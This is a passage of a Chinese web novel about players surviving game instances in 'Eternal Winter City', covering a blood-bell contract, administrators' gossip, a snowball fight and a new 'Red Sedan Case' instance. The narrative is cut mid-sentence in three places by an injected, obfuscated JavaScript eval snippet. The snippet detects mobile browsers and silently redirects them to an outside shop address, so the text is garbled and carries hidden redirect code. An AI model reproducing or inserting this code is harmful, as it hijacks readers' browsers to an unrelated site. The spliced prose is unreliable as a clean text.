几人重新换下身上的冲锋衣,穿上自己来时的衣服。初与序回头看了一眼。 埃文裹着一条厚重的毛毯,蜷在火炉边的躺椅里。他闭着眼,胸膛微微起伏,呼吸平稳,脸在炉火光影中显得格外柔和,甚至带着一丝安详。 他没有起身送别,也没有睁眼。仿佛只是睡着了,在一个寻常的,风雪交加的黄昏。 或许,他早就准备好了。带完这最后一队访客,完成最后的守望,然后就这样,在他守护了一辈子的南极边缘,在炉火的温暖中,安静地走向生命的终点。 五人站在门口,看着老人沉睡的侧影。 接着,他们轻轻带上了厚重的门。景明垂从门旁的挂钩上,取下那块写着“新希望站”和警示语的铁牌。拂去上面的薄霜,然后将它重新地挂回门把手。 铁牌在风中微微晃动。 上面用几种语言写着: [科研重地,请勿打扰。] [威德尔海域,极度危险。] [祝您好运。] 最后一句好像是埃文自己后来加上去的,字迹有些歪斜。 五人不再停留,转身踏着雪,朝着远处的列车走去。身后,新希望站渐渐缩小,隐没在风雪和天光里,最终变成一个模糊的小点,消失不见。 回到永冬之城时,暮色初临,路灯还没有亮起。一般这时候永冬之城出来的玩家是最多的,今天也不例外。 屠宰场首领带人进《极地之下》这事已经有一大部分玩家知道,没多少人指望着江意等人能完好回来。当D019车门打开时,车站全部玩家都惊讶地转身看过来。 “我没看错吧?回来了?五个都回来了?” “屠宰场首领没在副本里动手?” 五人无视了这些人的视线,步履不停,径直朝着医院的方向走去。 医院后门,S23和C13已经等在那里。 “血誓铃已经拿到了。”初与序确认没人,从面板里拿出青铜铃铛。 C13打量了一下那铃铛,点了点头:“大部分玩家的血液样本也弄到了。已经融合过了,现在装在停尸房里面。” 随歌抽了抽嘴角:“……停尸房?你们可真会挑地方。” S23翻了个白眼,没好气道:“医院里就那儿平时鬼都不去,冰柜现成的,恒温保鲜,还不容易引起注意。怎么,有意见?” 随歌闭上嘴,做了个拉拉链的手势。 一行人偷摸进入医院地下区域,来到停尸房。角落里放着一个保温箱,里面是很多密封的试管,管内暗红色的液体微微晃动。 初与序将血誓铃放在停尸房中央一张桌子上。她上前一步,伸出右手,轻轻覆盖在血誓铃上方。她的手指修长,皮肤在低温下显得有些透明。 接触时,血誓铃内部传来一阵震动。铃身表面那些弯曲的刻痕更深了些。 C13戴上手套,小心翼翼地拿起那些试管,将里面融合了不知多少玩家血液的液体,缓缓倾倒入血誓铃最上方的总刻痕之中。 血液一接触到刻痕,便自动沿着凹槽流下去。暗红色很快填满每一条刻痕。 当最后一条刻痕的末端也被血液注满时,血誓铃向上微微弹跳了一下,随即散发出强烈的银蓝色光芒。 【检测到契约道具“血誓铃”激活。检测到大量生命源质(血液)注入。】 【请问道具持有者:玩家初与序。】 【是否确认,以你为主导,令“血誓铃”与血液源对应的所有个体,达成单向强制契约?】 【警告:契约一旦达成,不可逆转。作为主导者,你将获得通过摇动此铃,强制契约者在任意副本内做出违反其副本规则行为的权限。主导者不受契约反噬。】 “是。” 【契约确认,链接建立完成。契约生效。】 【“血誓铃”主导权限已绑定:玩家初与序。】 随着系统提示音落下,血誓铃上耀眼的蓝色光芒暗下去,恢复了原样。 初与序拿起铃铛,血誓铃化作微光,收入了她面板内。 “可以了。”她转向S23和C13,“多谢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155266|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “客气。”S23摆摆手,说:“小心点使用。这东西邪性。” 雪原宫殿,议事厅。 夜已深,但这里依旧灯火通明。管理员们坐在长桌两侧,三三两两交谈。 靠窗的角落,两名管理员凑在一块。其中一位短发的女管理员压低声音:“哎,这代初与序不一样啊。” 旁边翘着二郎腿的男管理员扫了她一眼:“废话。妄主在这次循环前不是说,祂把这代初与序关于永冬之城的记忆全抹干净了,白纸一张嘛。” “这我知道。”女管理员挥挥手,压低声音,“就是你不觉得,她虽然没记忆,但对永冬之城越来越熟悉了吗?快得有点不正常,就像她以前在那里待过一次一样。” 男管理员放下腿,摸了摸下巴:“嘶……你这么一说,好像确实是诶。但先不提以前循环的初与序有没有能力搞出时光机穿到几千年后的现在,前面循环的初与序最后不都死了吗?死了,怎么再出现?” “我操!” 他话刚落,对面一个管理员猛地坐直了身体,脱口而出。周围几个管理员被吓了一跳,纷纷扭头看过来。 那管理员连忙抬起手,做了个抱歉的手势:“不好意思不好意思,我没事,你们继续,继续!” 等众人的目光移开,他才前倾身体,把脑袋凑到了那两位管理员中间:“我刚才还真想起来……好像真有一个初与序,能干出这种事。” 他轻轻敲了敲桌面:“还记得永冬之城冬之城第十八代那个初与序吗?她最后并没有死。” 女管理员和男管理员同时看向他。 “当时,据说是被初一放逐到阁楼里。妄主知道后,还和初一大吵了一架。”管理员继续道,“后来我听说那个初与序,从阁楼里消失了。” 他左右看了看,压低声音:“你们说,会不会是他回来了?” 三个人对视一眼,女管理员手腕一翻,打开面板,调出资料。片刻后,停在一页标记着【第十八次循环】的页面上。 几秒钟后,她抬起头:“好像……现在这代初与序很多通关副本的思路,确实和第十八代的高度相似。” 她的话刚说完,一个女声从三人头顶上方幽幽传来: “你们几个干什么呢?” 三人都被惊得一个激灵,猛地抬头。就见初一不知何时站在了他们旁边,正垂着眼,面无表情地看着他们三个。她穿着病号服,随意披了件外套。 男管理员拍着胸口,惊魂未定道:“娘嘞!吓死个人!你啥时候过来的?” 初一扫了他一眼:“刚到,看你们鬼鬼祟祟的。” 接着她走到旁边坐下,翘起二郎腿,目光落在女管理员的面板上:“看以前的初与序?调查?” 女管理员点了点头,:“是的,感觉有点不太对。” 初一“哦”了一声,没追问哪里不太对,可能是懒得问。 忽然,她又开口:“当初妄主是怎么和你们交代,管理员的任务的?” 对面那个男管理员回想了一下,说道:“祂当初说,永冬之城每十八年会重置一次,一部分玩家会重新进入。而在这个轮回里,初与序会一直出现。她携带全部记忆,来毁灭这座城市。如果城市真被毁了,所有玩家都会死。我们的任务就是阻止她,维持永冬之城的运行。” 初一听完,沉默了片刻。 然后,她忽然笑了一下,低声说了一句:“编得真像。” “啊?”男管理员没听清,问道,“你说啥?” “没什么。”初一靠在椅背上,随意地抬手挥了挥。 244.告一段落 大门忽然被从外面拉开,走廊的冷风灌入。众人循声望去,只见妄主站在门外,对帮祂拉门的执行官微微颔首,随即步入议事厅。 祂走到长桌主位旁,并未坐下。 身边一位管理员起身,准备像往常一样开口汇报永冬之城近期动态:“大人,关于近期玩家动态,特别是……” 话刚起头,妄主便抬起了手,冷淡道:“不用说了,我都知道。” 那管理员话语戛然而止,有些无措地站在原地,随即默默坐下。 先前那位女管理员看向旁边的初一,问:你提前汇报了? 初一单手托着下巴,用仅几人能听到的声音调侃道:“没有。人妄主广大神通,什么都知道,还用得着我汇报?” 即使声音再小,妄主竟然也清晰地听到了。祂幽幽地看过来:“初一。” 初一顿了顿,放下手,站起来:“在。” 妄主平静地看着她:“明天天亮之前,找到屠宰场首领。” “又是我下去?”初一撇了撇嘴,还是应道,“行吧。” 这命令让在场所有管理员都愣了一下。这么多轮循环来,妄主从未直接下令处决某个玩家。 众人窃窃私语声起来,又在几秒后安静,等待妄主像往常一样宣布一些重要事项。但妄主没有,祂只是简单地提了几句需要多留意的情况,说完这些,就道“太晚了,都回去休息吧。” 命令来得突然,结束得也突然。管理员们面面相觑,但还是纷纷起身,行礼后陆续向门外走去。 之前坐在初一对面的男管理员经过初一身边时,朝她眨了眨眼:“我先走一步了,您自个儿去永冬之城执行任务吧,祝顺利哦~” 初一翻了个白眼,也打算随着人流离开。刚迈出一步,就听见妄主再次叫住了自己。 “初一。” 几个管理员投来同情的一瞥,随即加快脚步,快速逃离,生怕自己也被叫住。 初一无奈地长叹一口气,转过身懒洋洋地晃到妄主面前:“大人,又有何贵干啊?” 妄主没有立刻回答。祂站着比初一高出半个头,此刻微微垂下眼帘,面无表情地低头看着她。 几秒后,祂问:“你是不是很讨厌这个地方?” 初一双手插在口袋里,想了想,道:“讨厌算不上。当初不是我想来这儿摊上这么多破事的。但这儿好歹让我离开了善佑医院那鬼地方。” 她抬起头,直直地看向妄主银蓝色的眼睛,“而且也不用经历当初你经历过的那些事。这么看来,我可爱死这个地方了。” 这话是明晃晃的挑衅,但妄主脸上没有任何反应,只是安静地和她对视着。 初一被祂看得有点发毛,率先移开了目光,耸了耸肩: “算了,其实也不是这样。我对这地方无感。对我这辈子都挺无感的。活着就活着,死了就死了,在哪儿都一样。但这话你要是问永冬之城其他玩家,指定能给你列出‘厌恶这里的一百八十条原因’,不带重样的。” 妄主忽然道:“对不起。” 初一听到这一句话,略显惊讶地看向祂。过了好久,她的语气平静下来,问道:“你是创造永冬之城的神,如果你自杀,永冬之城可以永远消失吗?” 妄主回答得很肯定:“不可以。如果我自杀,永冬之城会重新选择玩家,替代我的位置,城市会继续存在。” 初一点点头,对这个答案并不意外。 “没必要道歉。”她说,“又不是你的错。当年的你又没有上帝视角。” 其实有上帝视角也没用。当时的唯一能做的就是自杀,别让善佑医院的人借祂的力量创造出永冬之城。但不久之后,那里的人也会找到其他替代品,继续创造永冬之城。 初一不再多说,将一直披在肩上的外套取下来,叠了叠,递到妄主手中。 “外套还你,我用不着。”她说,转身准备离开。 走了两步,她又停下:“你要是真觉得对不起,就让初与序以后的路,好走点吧。” 说完,她没等回应,身影消失。 永冬之城,忘忧海。 屠宰场的首领死了,尸体在《极地之下》的副本,被发现时已经僵硬,致命伤是脖颈处一道切口,干净利落。没人看到是谁做的,但都不约而同地将凶手认定为初与序。 彻底清除掉屠宰场这一大麻烦,在随歌和白闽的提议(其实是撒泼打滚)下,几人加一只火腿面包再一次来到忘忧海边。 岸边,篝火已经点燃,橘红色的火焰跳动着驱散寒意。烤架上,肉类和蔬菜滋滋作响。旁边还堆着几个很丑的雪人。 几个人围在火边,火腿面包坐在他们中间,正手忙脚乱地给烤焦的玉米翻身,嘴里不停:“哎哎哎!火太大了!冬逢初!你这什么炭啊,劲儿这么足!” 白闽坐在旁边,一边啃鸡翅一边笑:“面包大厨,您行不行啊?不行换我来,别糟蹋粮食。” “你懂什么!这叫外焦里嫩!”火腿面包嘴硬,但还是把玉米拿远了些。 景明垂本打算去训练场找赵禾,走一半就被拉了过来,无奈地在初与序旁边坐下。 片刻后,随歌凑到初与序身边,示意她去看远处和江意站在一起的齐无尽:“不对啊,那孙子怎么也来了?该不会要说什么海边禁止生火,污染环境,让我们赶紧收拾收拾滚蛋吧?” 初与序接过冬逢初递来的一串土豆片,闻言扫了那两个身影一眼。 齐无尽和江意远远站在一块巨大的黑色礁石下,背靠着岩石,没看这边。听不清说什么,只能看到齐无尽一根接着一根抽着烟,应该在发愁。 “他是来找意哥谈事的。”初与序淡淡道,“要真想说早就说了,你吃你的吧。” “我还是不放心!”随歌皱着眉头,“指不定他正跟意哥嘀咕什么呢,比如‘管队友要趁早’,‘不能由着他们几个乱惹事’,‘看看都捅多大篝子了’……不行,不能让意哥被他带偏了!” 说完,他也不等初与序反应,朝着江意和齐无尽的方向,扯开嗓子喊道:“意哥——!!烤好啦!好多呢!你快过来吃!再不来就被我们抢光了!!” 礁石那边,江意闻声转过头,朝这边看了一眼。齐无尽也抬起眼皮,扫过篝火边闹腾的人群,脸上没什么表情。 江意对齐无尽说了句什么,然后指了指篝火这边,似乎是问齐无尽要不要一起过去。 齐无尽摇了摇头,冷冷地说:“不了。我去了,膈应你那几个队员。” 说完,他独自走到更远处一块凸出的岩石上,坐下,点了支烟,静静看着大海。 江意也没再坚持,独自朝着篝火走来。随歌立刻凑上去,打探道:“意哥,那家伙跟你说啥了?没告我们黑状吧?” 江意瞥了他一眼,语气平淡:“说正事,吃你的。” 随歌“哦”了一声,悻悻然坐回去。 “说起来,那首领最后到底怎么死的?”白闽好奇地问,“当时你们在副本里不是让他跑了吗?除了你们几个,还有人有能力杀他?” 景明垂说:“初一动手的。” 早在这之前,初与序就和其余人说过关于初一的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155267|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。陈秋天有些惊讶:“初一?她亲自下来了?什么时候知道吗?倒是一点动静都没有。” 冬逢初接话:“嗯。今天天亮前。” “啧,”随歌摇头,“那位姐下手可狠,不过那混蛋早该死了。” 初与序站起身,拍了拍身上的雪屑,对周围人道:“我找齐无尽有点事。” “她找齐无尽干嘛?”随歌看着她背影,奇怪地自言自语。 初与序朝着齐无尽坐着的岩石走去。海风更冷了些,吹起她的头发和衣角。 齐无尽看到她过来,脸上闪过一丝意外。他们前几次见面基本都是你死我活,还打过好几架,尤其是相机的事。初与序这回来找他,太阳打西边出来了。 初与序走到岩石边停下。齐无尽坐着,她站着。她的表情很淡,没什么攻击性,但也谈不上热情。 “建议我坐这里吗?”她问。 齐无尽摇了摇头,往旁边挪了挪,给她腾出点位置。 初与序坐下,问:“你来这里多久了?” “三年。”齐无尽答,抬起夹烟的手,吸了一口。 他的手指很长,骨节分明,上面有几道旧疤,像是当初在澳门打牌时不小心被划伤的。海风把烟味吹散。初与序沉默了一会儿,直接问道:“当初给你相机的故人,就是我吧?” 齐无尽转过头,看了她一眼,望向她的眼睛雾雾的。 “不是你。”他说,“不是现在的你。” 初与序笑了一下,也侧过头,看向齐无尽:“她叫初一。” 齐无尽没说话。 初与序继续问道:“景明垂是你拉进永冬之城的?初一是怎么忽悠你同意的?” 是的,齐无尽是主动来永冬之城的,景明垂在这次循环中是被他拉进来的,这些初与序早就猜到了。齐无尽垂下眼眸,看着指尖明明灭灭的火星。 “你还是知道了。”他苦笑了一声,“没错。我是主动来的,景明垂是因为我。” “我见到初一时,是在里斯本的邮轮上。甲板没人,她突然出现,和我说:永冬之城可以复活现实中已经死去的人。我刚开始以为她是精神病,毕竟她身上穿着病号服。” 他顿了顿,回忆道:“后来她说,在我进入永冬之城之前,需要先去一个地方——江苏。在那里,连续三年留下一样我的东西。这样,永冬之城系统的‘同地区拉人’设置才会触发,才能在三年后,把当时还在江苏的景明垂也一起拉进来。” “我问她为什么非要景明垂进来。她说不知道,但景明垂必须要进来。”齐无尽弹了弹烟灰,“于是我同意了,去了江苏,随便留下了一张扑克牌。第二天醒来一睁眼,就在永冬之城了。” “我认为,我进不进来其实无所谓。她只是需要借我的手,把景明垂引进来。” 初与序安静地听着,等他说完,才问:“除此之外,没有别的了?” 齐无尽想了想,摇头:“没有。她说完这些,就消失了。” “能让初一托付这种事的人,不多。”初与序说,“她选你而没有随便找个人,一定有原因。” 齐无尽扯了扯嘴角:“也许只是她知道,为了复活我想复活的人,什么条件我都会答应。” 他忽然转过头问:“你过来,就为了问这些?” “确认一些事。”初与序站起身,“多谢。” 齐无尽点点头,没再说话。 初与序转身离开,走回温暖喧闹的篝火边。齐无尽目送她的背影,然后收回目光,继续望着面前无边无际的大海。指间的烟快要燃尽了。 245.欢快 几人回到D栋楼下时,已经是凌晨一点。 这个时候,永冬之城其他地方安静,而D栋就是个例外了。一群夜猫子还没散,热闹得像过年。 回北的队伍占据着老位置。赵禾蹲在角落里,面无表情地用小树枝在雪地上戳。回北和u谷坐在台阶上,中间摆着棋盘,正杀得难解难分。不过安楚和向枝冥那对冤家还是保持着距离,谁也不搭理谁。 随歌一屁股坐在u谷旁边,下巴朝那两位方向抬了抬:“他们俩还吵着呢?” u谷盯着棋盘:“可不嘛,你见过他们什么时候不吵?” 随歌乐了:“也是。欸,回北,该你走了,别磨叽!” 回北正盯着棋盘冥思苦想,烦躁地抓了抓头发:“催催催!没看老娘正想招儿呢!” 天空这时开始飘起小雪。雪花不大,细细密密的,在路灯下亮晶晶的。地上的积雪已经很厚,踩上去咯吱作响。 白闽本来在和陈秋天低声说着什么,抬头看了看雪,忽然眼珠一转,蹲下身,飞快地团了一个不大不小,还挺结实的雪球。她朝随歌使了个眼色,做了个“嘘”的手势,随后蹑手蹑脚地溜到毫无防备的u谷身后。以迅雷不及掩耳之势一把拉开他衣领,把那颗雪球塞了进去! “我操——!!!” u谷猛地一个激灵,原地蹦起老高,手忙脚乱地伸手往后背掏,冰冷的雪贴着皮肤化开,冻得他龇牙咧嘴:“Fuck!白闽!你他娘的死定了!!” 白闽哈哈大笑着跑开了,顺手又团起一个雪球,砸向不远处的安楚。 安楚头也不回,侧身轻松躲过,但那雪球砸在了后方的向枝冥腿上。 “打雪仗啊!还愣着干嘛!”随歌看热闹不嫌事大,第一个跳起来响应,抓起一把雪就朝u谷扔过去。 u谷刚清理完后背的雪,立刻反击。向枝冥很快又被一个不知从哪儿飞来的雪球砸中肩膀,弯腰抓起一把雪,精准地扔向随歌。 场面顿时混乱起来,雪球乱飞。赵禾默默挪远了一点:“……” 初与序站在稍远一点的雪地上,看着这群人闹腾。她习惯性地环顾四周,确认冬逢初在不在自己身边。 一回头,就看到自己身后的空地上不知什么时候堆起了一个……雪人?或者说,半个雪人。形状很奇怪,有点像放大了的火腿面包,圆墩墩的,有两只用黑色石子做的眼睛,身体部分还没堆好。 冬逢初就蹲在那个雪人旁边,正抬着头笑眯眯地看着她。灯光落在他头发和肩头,沾着细小的雪花,眼睛亮亮的。 见初与序看过来,冬逢初站起身,几步挪到她身后抱住她,下巴搁在她肩膀上,温温柔柔地笑道:“阿序,陪我一起堆雪人嘛。” 初与序面无表情:“无聊。” 冬逢初抱得更紧了些,在她耳边蹭了蹭,拖长了调子:“阿序~陪我嘛陪我嘛~求你了,我还没堆过雪人嘛~” 初与序:“……” 看到雪人版自己的火腿面包:“……冬逢初你有病吗!把我堆这么丑!” 初与序沉默了两秒,最终还是叹了口气,拍了拍他的胳膊:“好好好,松手吧。” 冬逢初立刻松开她,拉着她的手就往那半个雪人走。 初与序认命地跟着,蹲下身,和他一起用手捧起冰冷的雪,往那个抽象的火腿面包雪人身上拍了几下。结果堆得更丑了,初与序觉得她和冬逢初像两大傻子。 那边打雪仗的混战还在继续,雪球偶尔会飞过来,但都被两人躲开。 过了一会儿,面包雪人总算有了点模样。冬逢初从旁边捡了根小树枝,想给它画个嘴。 这时,随歌那边似乎玩累了,暂时休战。他扯下自己脖子上的围巾,往脑袋上一缠,只露出两只眼睛:哎呦喂……来来来!看我!看我!我来给你们扮演一下我奶!” 他弯下腰,背着手,模仿起老太太蹒跚走路的姿势,怪腔怪调地喊起来: “奶奶来喽~奶奶来看乖孙孙们喽~有没有好好吃饭睡觉啊~让奶奶看看~” 初与序和冬逢初闻声看去:“……” 老奶奶“嗖一下”蹿到回北身后,伸出手轻轻拍了拍回北的肩膀:“小姑娘~你笛子吹得可好?给奶奶吹个《百鸟朝凤》听听?” 回北浑身的寒毛唰一下竖起来了,手腕一翻,拿出竹笛他横在前,声音都变了调:“我操,你……您哪位?!靠这么近干嘛?!” “奶奶是路过滴呀~看你们玩雪,稀罕!”老奶随歌说着,又逼近一步,伸手似乎想去摸那笛子,“这笛子滑溜,给奶奶摸摸……” 回北吓得连退三步:“别别别!您站那儿!就站那儿说话!” “哈哈哈哈!回北你也有今天!”白闽狂笑道。 老奶发出笑声,暂时放过了回北。在人群中一扫,锁定了下一个受害者——正在偷摸团个大雪球的向枝冥。 向枝冥背对着这边,嘀咕着:“随歌你小子等着……” 忽然,他感觉后颈吹来一股凉气,一个老太太声音贴着他耳朵响起来:“小道士~雪球捏这么大,是想砸哪个坏蛋呀?跟奶奶说说,奶奶帮你骂他~” 向枝冥猛地回头,一张被围巾裹得严严实实,只露两只贼溜溜眼睛的“老奶奶”脸,几乎怼到他鼻尖。 “卧槽——!!!”向枝冥一蹦三尺高:“你你你……你他妈谁啊?!走开啊!” “奶奶稀罕你呀,小道士长得俊~”随歌伸出手,作势要去摸向枝冥的脸。 “滚呐!!!”向枝冥彻底破防,往远处跑去。 安楚看到这一幕,实在没忍住,噗嗤一声笑出了声:“活该。” “哟~这还有个更俊的~”老奶随歌目标转移,朝着安楚逼近,“小伙子~有对象没?奶奶给你说个媒?我大孙女在城里,一月挣这个数!”他伸出两根手指比划。 安楚连忙后退:“……不用了,谢谢。” 整个场面已经彻底失控,随歌扮演的老奶像雪夜幽魂,神出鬼没,吓得一帮平日天不怕地不怕的家伙鸡飞狗跳。 随歌玩得兴起,绕着人群又转了一圈:“哎!奶奶走累了!哪个孝顺孙孙过来背奶奶回家啊?!” 话音刚落,向枝冥晃悠到他身后,趁着随歌停下的机会,一个迅猛的滑铲! “哎哟我——!” 随歌还沉浸在扮演的乐趣中,只觉眼前一花,小腿被猛地一扫,然后整个人就被铲倒在地,脸朝下栽进雪里,只剩下两条腿在外面滑稽地蹬了两下,糊了一头一脸的雪。 这一切发生得太快,周围的人都看呆了。 “哈哈哈哈哈哈哈!!!” 爆笑声同时炸开,周围人全部捂着肚子蹲在了地上。初与序本来正和冬逢初蹲着弄雪人,看到随歌被铲飞,她也愣了一下,没忍住笑出声来。 “你孬八啊随歌!”向枝冥指着随歌大骂,“我真他妈以为我奶来永冬之城了!” 冬逢初拉着初与序的手,眉眼弯弯,两个人在雪地里笑成一团。 初与序侧过头,看着他盛满笑意的眼睛,忽然凑过去,在他唇上很快地啄了一下。亲完,她重新转回头,继续看着那边狼狈爬起的随歌。 冬逢初被突如其来的亲吻弄得愣了一下,随即环着她的手臂收得更紧了些,低低笑出了声。 随歌挣扎着从雪堆里拔出脑袋,围巾歪到了一边,脸上全糊满了雪。他一边“呸呸呸”地吐着雪沫,一边狼狈地爬起来。一抬头,就看到初与序亲冬逢初那一下。 再看看周围其他人依旧笑得东倒西歪,对比自己满身雪的惨状,随歌顿时气不打一处来,指着他们俩控诉:“裤衩子粘腚的季节,这俩在雪地里卿卿我我!向枝冥你还带偷袭的!有没有天理了!” 冬逢初丝毫不介意被调侃,反而把初与序搂得更紧,下巴扬了扬,面上带着“我就这样你能奈我何”的得意。 正闹得不可开交,远处雪地里走过来两个人影。走近了,是D19和S23。 D19看着眼前这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155268|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群在雪地里傻乐的高层玩家,脸上表情空白了一瞬。 白闽眼尖,立刻挥手招呼:“D19!S23!一起来玩啊!打雪仗!” D19抬手按了按眉心,恨铁不成钢地叹了口气,走到初与序和冬逢初面前:“别玩了。你们俩是不是忘了过几天还要进A级处罚副本?” 他不说,几个人真还忘记了,之前康安案的时候,他们俩确实被判处三十天后进入副本处罚。 “本来原定副本要三天,但因为某种原因,换成了五日本。”D19摊开手。 初与序收回笑意:“怎么了?” S23一脸生无可恋地走过来,没好气地说:“怎么怎么!你们两个,你们在《极地之下》副本里把神殿区域炸了?知道那场景建模修复起来多麻烦吗?!又要调派资源,又要派人去那冻死人的鬼地方加班!摊上你们俩,真是倒了八辈子霉!” 他越说越气:“好了,现在处罚下来了。双重处罚,收拾收拾,过两天滚进A级处罚副本享福去吧!” 初与序和冬逢初:“……” 回北在旁边听得直乐,幸灾乐祸地笑出了声。 D19转过头,面无表情地看向她:“你也别笑。你和赵禾昨天在《古镇》副本里暴力殴打关键NPC,导致该NPC精神受创,现在在闹情绪,拒绝上线工作。你俩,准备进S级处罚副本吧。” 回北脸上的笑容瞬间僵住:“……啊?” 赵禾站在她旁边,甚至都懒得抬起眼皮看一眼,对进处罚副本这事儿已经习以为常。 冬逢初问:“处罚副本叫什么名字?什么类型?” D19调出面板看了一眼:“《红轿案》,古代背景,因为分主线剧情和副线任务。你们几个夜猫子,记得提前调整作息,别进去就犯困。” 全程两个执行官没给他们好脸色,简单交代完,他们转身就走了,背影都透着股加班的怨气。 剩下的人面面相觑,随歌挠挠头:“《红轿案》?听着像鬼故事。” 白闽:“管他呢,A级S级,咱们谁没进去过?就当换个地方度假了。” 回北叹了口气,认命了:“行吧行吧,打就打了,谁让那NPC台词那么欠揍。S级就S级。” 赵禾拉了拉她的袖子,示意该回去了。 “散了。”江意说,“回家,调作息。” 一群人也不再闹腾,朝着D栋楼里走去。 D栋1703。 冬逢初走进浴室,拧开水龙头。 洗完手,他习惯性挽起湿漉漉的袖子,左手袖子卷到手肘,手腕内侧那片皮肤便完整地露了出来。 一片疤痕,深浅不一,有的浅,有的却已经增生成淡粉色,有些刺眼。 冬逢初停下擦手的动作,垂下眼眸,面无表情地看着自己手腕上这片伤。 直到现在,他还是想不起来,这些疤痕是不是自己割出来的。 他觉得自己并不是那种会有严重心理问题的人。他是D栋唯一一位性格温润的男性,见到不熟悉的人会第一时间礼貌地弯起眉眼浅笑,对朋友爱人体贴耐心,举手投足雅正端方。即使是在永冬之城这地方待了半年,他的情绪也一直很稳定,想法积极。 他不记得自己进入永冬之城以前的生活,但大概没遇到什么过不去,需要自伤才能宣泄的大难。 冬逢初放下擦手的毛巾,抬起头,看向面前的镜子。 镜子里的人皮肤白皙,眉眼温润,眼角微微下垂,看人的时候总带着点天然的柔。 他盯着镜子里的自己看了一会儿。然后抬起手,用还有些湿漉漉的手指撩开了额前的刘海。露出了左眼眼尾上方,一颗淡棕色的小的痣。 他记得很清楚,初与序的左眼眼尾上方,同样的位置也有一颗小痣,不仔细看很难发现。 冬逢初盯着自己眼尾那颗痣,面无表情地看了很久。 过了半晌,他放下手,刘海遮住了那颗小痣。他关掉浴室的灯,走了出去。 246.红轿案 进副本当天,天刚蒙蒙亮。冬逢初到车站时,站台上没几个人。 他一眼就看见调作息失败的初与序困困地靠在柱子上,手里夹着根烟,但没怎么抽。他走过去,将热咖啡递给她:“大早上就抽烟?” 初与序接过咖啡,眼皮都睁不开,靠在他肩膀上:“提神,等不困了就不抽。” 冬逢初从她指尖将烟拿了过来,放到自己唇边,吸了一口:“喝咖啡吧,烟给我。” “……”初与序总觉得这人是来顺烟的。 她低头打开咖啡杯盖,喝了一口。 恰好这时D019次列车到站,车门打开,J23看见站台上的两人,挑了挑眉:“哟,还真从床上爬起来了?不容易。” 冬逢初笑了笑:“总不能迟到。” 两人在惯常的位置坐下,列车启动,J23继续道:“这次《红轿案》的时间是五天。任务不简单,古代背景,规矩多,限制也多。悠着点,别又搞出什么需要执行官加班的大场面。” 冬逢初应了一声:“知道了,尽量。” 初与序靠在他肩上,闭着眼在和困意做斗争,只是含糊地“嗯”了一下。 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置行李,防止遗失。本次列车起点站:永冬之城;终点站:《红轿案》。接下来,我会为各位讲解副本背景设定:】 【主线剧情:本朝“红轿案”轰动,已延续十二年,每隔三年,宫中会以赐婚名义,挑选一名高官之女,以八抬大轿,皇室正礼迎入皇城。然而,所有新娘均在新婚之夜离奇死亡。次日清晨,尸身被完整送返娘家时,面容安详,嘴角含笑,宛如活人。】 【民间流言四起,皆称此乃“阴间选妃”。宫中则称“新娘福薄,骤病而亡”,天家威严之下,无人敢公开质疑。但满朝文武皆知,红轿一抬,便是送女赴死。】 【如今又逢三年之期,红轿即将再度出动。而这一次,命运的指针会转向谁的位置?】 【副线剧情:在距离京城三十里的槐荫村,流传着一个比红轿案更早的恐怖习俗:骨姻。若村中未婚女子意外暴毙,其家人必须在七日内为她寻找一名活人男子,举办冥婚,最终将活人与尸体一同封入双人棺,埋进家族坟地。】 【老人们坚信,横死的女子怨气太重,只有用活人的阳气“配成一对”,才能镇住冤魂,避免她夜夜回村索命。而被选中的男子通常是外乡人,流浪者,或欠下巨债的穷人,而不害本村骨血。】 【今年腊月,柳家女儿青娘在溪边失足溺亡。村中人绑来一位赴京赶考的书生。此刻那书生正被捆在祠堂后的柴房,而青娘的尸体则穿着大红嫁衣,坐在堂屋的太师椅上,脸上被精心涂抹着与红轿新娘如出一辙的诡异微笑。】 【主线任务:揭露宫中阴谋,查明“红轿案”真相,并阻止此案再次发生。】 【副线任务:查明民间配阴魂的真相。并阻止冥婚再次发生。】 【您即将进入的副本背景为古代京城。请注意,本城严格执行宵禁制度:暮鼓,一更三点(晚8:12)敲响,全城开始宵禁。晨钟,五更三点(早4:12)敲响,宵禁解除。】 【宵禁期间,除持有官方文书的公务人员,婚丧仪仗或持有急诊令牌者外,任何百姓不得上街行走。若被巡夜武侯抓获,将立即押送官府,依律杖责二十。】 【请合理安排您的行动时间。】 【祝您存活愉快。】 …… 咋还有宵禁? 本来在古代副本里探案就难,要注意这个注意那个,晚上出门才稍微顺利点。现在好了,来了个宵禁,被发现要挨揍,更麻烦了。 